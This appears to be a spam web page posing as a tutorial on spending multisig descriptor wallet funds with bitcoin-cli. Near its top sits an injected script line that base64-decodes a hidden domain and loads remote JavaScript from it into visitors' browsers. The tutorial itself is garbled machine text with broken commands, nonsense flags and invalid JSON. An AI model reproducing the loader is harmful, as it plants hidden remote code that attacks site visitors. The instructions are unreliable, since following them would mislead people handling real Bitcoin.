Bitcoin: How to spend a multisig descriptor wallet transaction with bitcoin-cli?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=2e80cf96″;document.body.appendChild(script);

Patate Multisg Outbuts with Bitcoin-Client: Blood handling

In the quality of the personality of multizenchia (MS), the expenses for the medium from your descripter are the crumol for the management of your act. In this state, we will have that the process of the process of bitcoin-cli patrol the multi-selective results in financing.

predisposing *

  • You have a desqual caroeke with multi -izers.

  • You have a transaction on the finance of Tx1, which includes in the stubborn sum for each.

Shag 1: Submit the transaction finance without exit desquate

To this transaction finance you can follow the bitcoin-climate:

`Bash

Bitcoind -Regtest -Server = 0.0.0.0.0.0.00.0332 -config = native -datadir =/Path/to/Directory -txindex = 0 TXUTOR -FIL>

`

Dealing Sathft at your descriptor callet (for example, descriptor.conf).

This is the regtest regimen. You can kill that the transaction was carried by the Putem Removal Consoli “Regtest”:

`Bash

Regtest

`

Shag 2: CONTACT SUCCESS FOR EVERYONE EVERY

Was to pathetic the medium of your personality desquate, you need an amount of expense for Eddress. You can make it upset after Commmand:

`Bash

Bitcoind -Gretest -Server = 0.0.0.0.0.0.0332 -config = Native -Datadir =/Path/Directory -txindex = 0 TXUTOR -FILE> | JQ ‘. natingable_amunts [] ‘

`

This Dewl derives the amount of expense for Massiv for Forladress in Finance.

Shag 3: Submit the Descreepter Walt File Wth Multisig Descriptors

For the use of Multisideig output, we need to enter the file of the Descripter, which includes in the Descriptors Multisig. You can make it upset after Commmand:

`Bash

Bitcoind -Gretest -Server = 0.0.0.0.0.0.0332 -config = Native -Datadir =/Path/Directory -txindex = 0 TXUTOR -FILE> | JQ ‘. Multisig_descriptors [] ‘

`

This dewl derives the massive multisigic descriters for each publication in finance.

Shag 4: Put your Descreeptor Holder

Now, when you have the amount of expenses and devices of Multisig, you can Bitcoin-Clin that you canatherate the medium on the descripter. You can make it upset after Commmand:

`Bash

Bitcoind -Gretest -Server = 0.0.0.0.0.0.0332 -config = Native -Datadir =/Path/Directory -txindex = 0 TXUTOR -FILE> | Bitcoin -Cli -regtest -Server = 0.0.0.0.0.0.8332 -config = native -datadir =/Path/to/direction -txindex = 0

`

To replace with the hash transaction finance that you deserved.

PRIMER WARIANTS

In the lap, you have a descripter walet file descriptor.conf, which includes Descriptors Diversitsig:

`JSON

[

{

"Advance": "Addr1",

"Multisig_index": 2,

"Wentable_amunts":

{"sum": 100},

{"sum": 200}

]

}

{

"Addr2": "Addr2",

"Multisig_index": 3,

"Wentable_amunts":

{"sum": 50},

{"summary": 75}

]

}

]

And transaction finance tx1, which includes in the stubborn sums:

“ JSON

{

“TXID”: “1234567890abcdef”,

“Vout”: [1, 2],

“Stukhiki”:

{

“Pre -tear”: null,

“mount_n”: {“N”: 100},

“Scriptsig”: [{“Pubkey”: {“Hash”: “12 …”}}, {Pubkey: {“Hash”: “13 …”}, {“Pubkey”: {“Pubkey” : {“Hash”: “14 …”}}]

“Mount_out”: {“N”: 200}

}

{

“Pre -tear”: null,

“mount_n”: {“N”: 50},

“Scriptsig”: [{“Pubkey”: {“Hash”: “12 …”}}, {Pubkey: {“Hash”: “13 …”}, {“Pubkey”: {“Pubkey” : {“hash”: “1

Leave a Reply

Your email address will not be published. Required fields are marked *